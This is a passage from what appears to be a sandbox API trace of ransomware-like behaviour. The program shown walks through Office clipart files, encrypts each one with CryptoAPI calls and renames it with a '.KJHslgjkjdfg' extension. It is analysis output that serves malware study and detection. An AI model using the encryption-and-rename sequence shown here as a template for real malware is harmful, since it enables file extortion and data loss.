dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.058] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1364, lpOverlapped=0x0) returned 1 [0199.059] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370, dwBufLen=0x1370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370) returned 1 [0199.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.059] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1370, lpOverlapped=0x0) returned 1 [0199.059] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.059] SetEndOfFile (hFile=0x130) returned 1 [0199.062] GetProcessHeap () returned 0x2ef0000 [0199.062] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.062] GetProcessHeap () returned 0x2ef0000 [0199.062] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.kjhslgjkjdfg")) returned 1 [0199.064] CloseHandle (hObject=0x130) returned 1 [0199.064] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0199.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.065] GetProcessHeap () returned 0x2ef0000 [0199.065] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.065] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.065] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0199.067] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.067] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.067] GetProcessHeap () returned 0x2ef0000 [0199.067] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.067] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.067] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.067] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.067] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.067] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.067] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.068] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.068] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.068] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1364, lpOverlapped=0x0) returned 1 [0199.069] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370, dwBufLen=0x1370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370) returned 1 [0199.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.069] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1370, lpOverlapped=0x0) returned 1 [0199.069] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.069] SetEndOfFile (hFile=0x130) returned 1 [0199.072] GetProcessHeap () returned 0x2ef0000 [0199.072] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.072] GetProcessHeap () returned 0x2ef0000 [0199.072] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.kjhslgjkjdfg")) returned 1 [0199.073] CloseHandle (hObject=0x130) returned 1 [0199.073] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0199.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.074] GetProcessHeap () returned 0x2ef0000 [0199.074] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.074] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.074] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.074] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.074] GetProcessHeap () returned 0x2ef0000 [0199.074] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.074] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.074] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.074] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.077] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.077] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.077] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.077] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.078] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.078] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.078] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1210, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1210, lpOverlapped=0x0) returned 1 [0199.079] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1210, dwBufLen=0x1210 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1210) returned 1 [0199.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.079] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1210, lpOverlapped=0x0) returned 1 [0199.079] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.079] SetEndOfFile (hFile=0x130) returned 1 [0199.089] GetProcessHeap () returned 0x2ef0000 [0199.089] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.089] GetProcessHeap () returned 0x2ef0000 [0199.089] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.kjhslgjkjdfg")) returned 1 [0199.091] CloseHandle (hObject=0x130) returned 1 [0199.091] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0199.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.092] GetProcessHeap () returned 0x2ef0000 [0199.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.092] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.092] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.094] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.094] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.094] GetProcessHeap () returned 0x2ef0000 [0199.094] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.094] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.094] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.094] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.095] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.095] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.095] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.095] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.095] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.095] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16f8, lpOverlapped=0x0) returned 1 [0199.096] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1700, dwBufLen=0x1700 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1700) returned 1 [0199.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.097] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1700, lpOverlapped=0x0) returned 1 [0199.097] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.097] SetEndOfFile (hFile=0x130) returned 1 [0199.100] GetProcessHeap () returned 0x2ef0000 [0199.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0199.100] GetProcessHeap () returned 0x2ef0000 [0199.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0199.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.kjhslgjkjdfg")) returned 1 [0199.101] CloseHandle (hObject=0x130) returned 1 [0199.101] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0199.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.102] GetProcessHeap () returned 0x2ef0000 [0199.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0199.102] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0199.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0199.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.103] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.104] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.104] GetProcessHeap () returned 0x2ef0000 [0199.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0199.104] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0199.104] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.104] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0199.104] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0199.104] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0199.104] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0199.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0199.104] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0199.104] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0199.104] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0199.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.104] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x175c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x175c, lpOverlapped=0x0) returned 1 [0199.107] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1760, dwBufLen=0x1760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1760) returned 1 [0199.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.107] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1760, lpOverlapped=0x0) returned 1 [0199.107] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0199.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.107] SetEndOfFile (hFile=0x130) returned 1 [0199.107] GetProcessHeap () returned 0x2ef0000 [0199.107] HeapFree (in: hHeap=0x2ef0000, 